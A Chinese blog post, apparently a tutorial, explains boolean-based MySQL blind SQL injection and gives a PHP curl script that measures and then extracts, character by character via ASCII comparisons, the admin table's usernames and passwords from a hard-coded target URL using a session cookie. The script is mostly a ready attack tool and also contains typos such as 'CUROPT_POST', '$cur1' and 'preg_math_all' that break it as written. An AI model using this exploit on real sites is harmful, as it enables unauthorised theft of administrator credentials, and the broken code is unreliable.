盲注入exp篇

盲注入原理

mysql的盲注入语句

得到表里的帐号和密码长度

select * from article where id=1 and LENGTH

(select GROUP_CONCAT(username,0x3a,password)from admin))=38

返回正常页面:

 根据长度再判断每一位字符的ascii码

select * from article where id=1 and ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin,1,1))=97

注:admin a=97

 页面正常显示

编写exp

原理:就是得到数据长度 再遍历每一个字符的ascii码再用ascii码转为字符

为什么不直接用字符?

 因为用的php版本会开启gpc后,里面的单引号会被转义。

拿页面cookie值

<?php 
	//参数1:访问的url 参数2:post数据(不填则为GET) 参数3:提交的$cookies 参数4:是否返回$cookies
function curl_request($url,$post='',$cookie='',$returnCookie=0){
	$curl=curl_init();
	curl_setopt($curl,CURLOPT_URL,$url);
	curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0(compatible;MSIE 10.0;windows NT 6.1;Trident/6.0)');
	curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
	curl_setopt($curl,CURLOPT_AUTOREFERER,1);
	curl_setopt($curl,CURLOPT_REFERER,"http://xxx");
	if($post){
		curl_setopt($curl,CUROPT_POST,1);
		curl_setopt($curl,CUROPT_POSTFIELDS,http_build_query($post));
	}
	if($cookie){
	     curl_setopt($curl,CURLOPT_COOKIE,$cookie);
	 }
	 curl_setopt($curl,CURLOPT_HEADER,$returnCookie);
	 curl_setopt($curl,CURLOPT_TIMEOUT,10);
	 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
	 $data=curl_exec($cur1);
	 if(curl_errno($curl)){
	 	return curl_error($curl);
	 }
     curl_close($curl);
     if($returnCookie){
         list($header,$body)=explode("\r\n\r\n",$data,2);
         preg_math_all("/Set\-Cookie:([^;]*);/",$header,$matches);
         $info['cookie']=substr($matches[1][0],1);
         $info['content']=$body;
         return $info;	
     }else{
     	return $data;
     }
   }
   //得到数据长度
   function getstrlen($url,$cookie,$html){
   	$data_len='';
   	$i=1;
   	while(true){
   		$s="%20and%20LENGTH((select%20GROUP_CONCAT(username,0x3a,password)from%20admin))={$i}";
   		$urlexp=$url.$s;
   		if(strlen($html)==strlen(exploit($urlexp,$cookie))){
   			$data_len=$i;
   			break;
   		}
   		$i++;
   	}
   	return $data_len;
   }
   
   function exploit($url,$cookie){
   	  $html=curl_request($url,'',$cookie);
   	  return $html
   }
   
   function get_data($url,$cookie,$datalen,$tmp_html){  
   	$admin_pass='';
   	for($i=1;$i<=$datalen;$i++){     
   		for($j=1;$j<=125;$j++){      
   			$s="%20and%20ascii(substring((select%20GROUP_CONCAT(username,0x3a,password)from%20admin),{$i},1))={$j}";
   			if(strlen($tmp_html)==strlen(exploit($url.$s,$cookie))){
   				$c=chr($j);
   				$admin_pass.=$c;
   				echo $admin_pass."\r\n";
   				break;
   			}
   		}
   	}
   	return $admin_pass;
   }
   
   $cookie='PHPSESSID=bn43dma24ghqeuosagkqj9ib45';
   $url='http://www.moontestester.com/article.php?id=1';
   //用来做比较用的
   $tmp_html=exploit($url,$cookie);
   $datalen=getstrlen($url,$cookie,$tmp_html);
  
   if($datalen)
   {
   	echo get_data($url,$cookie,$datalen,$tmp_html);
   }else{
   	 echo "data null";
   }
?>

在终端运行如图所示:

最后结果:

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值